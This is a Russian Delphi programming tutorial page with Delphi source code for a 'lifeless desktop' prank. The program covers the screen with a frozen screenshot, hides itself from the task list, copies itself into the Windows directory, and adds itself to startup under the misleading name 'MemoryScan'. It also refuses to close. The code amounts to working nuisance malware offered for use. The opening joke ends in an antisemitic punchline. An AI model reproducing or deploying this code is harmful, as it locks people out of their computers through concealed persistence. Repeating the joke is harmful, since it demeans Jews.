Delphi World - Безжизненный рабочий стол

Delphi World - это проект, являющийся сборником статей и малодокументированных возможностей по программированию в среде Delphi. Здесь вы найдёте работы по следующим категориям: delphi, delfi, borland, bds, дельфи, делфи, дэльфи, дэлфи, programming, example, программирование, исходные коды, code, исходники, source, sources, сорцы, сорсы, soft, programs, программы, and, how, delphiworld, базы данных, графика, игры, интернет, сети, компоненты, классы, мультимедиа, ос, железо, программа, интерфейс, рабочий стол, синтаксис, технологии, файловая система...

Безжизненный рабочий стол

Попали в одну, камеру разбойник и хакер. Разбойник:
- Я вот сижу за ограбление магазина... А ты за что сидишь?
Хакер:
- Ограбил банк на 7 миллионов долларов...
Разбойник:
- Да ты че... ни фига себе... как же ты унес их из банка - денег-то офигенно много?
Хакер рассказывает в общих чертах о компьютерах, сетях, взломах и т. д. Разбойник:
- Ну ни фига себе, а как же ты попался?
Хакер:
- Брандмауэр засек и сработала защита...
Разбойник:
- Ах ты... Брандмауэр, твою мать... Всегда знал, что евреев опасаться надо...

Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:

procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  canvas:Tcanvas;
begin
  ScreenDC:=GetDC(0);
  Canvas:=TCanvas.Create();
  canvas.Handle:=ScreenDC;
  Width:=Screen.Width;
  Height:=Screen.Height;
  Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
  canvas,Rect(0,0,Screen.Width,Screen.Height));
  Releasedc(0,ScreenDC);
  Canvas.Free;
end;

Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место

Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-))

Событие по созданию окна в конечном итоге должно выглядеть так:

procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  canvas: Tcanvas;
  h: TRegistry;
begin
  ScreenDC:=GetDC(0);
  Canvas:=TCanvas.Create();
  canvas.Handle:=ScreenDC;
  Width:=Screen.Width;
  Height:=Screen.Height;
  Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
  canvas,Rect(0,0,Screen.Width,Screen.Height));
  Releasedc(0,ScreenDC);
  Canvas.Free;

  if not(csDesigning in ComponentState) then
  RegisterServiceProcess(GetCurrentProcessID,1);

  WinDirP := StrAlloc(MAX_PATH);
  Res := GetWindowsDirectory(WinDirP, MAX_PATH);
  if Res > 0 then WinDir := StrPas(WinDirP);

  if FileExists(WinDir+'\OurProgram.com')=false then
  CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);

  h:=TRegistry.Create;
  h.RootKey:=HKEY_LOCAL_MACHINE;
  h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
  h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
  h.CloseKey;
  h.Free;
end;

На событие OnCloseQuery() формы напишем:

CanClose:=false;

На событие OnActivate():

ShowWindow(Application.Handle,sw_Hide);

В области public объявим несколько переменных:

public
  { Public declarations }
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;

А в uses подключим модуль Registry:

uses
  Registry;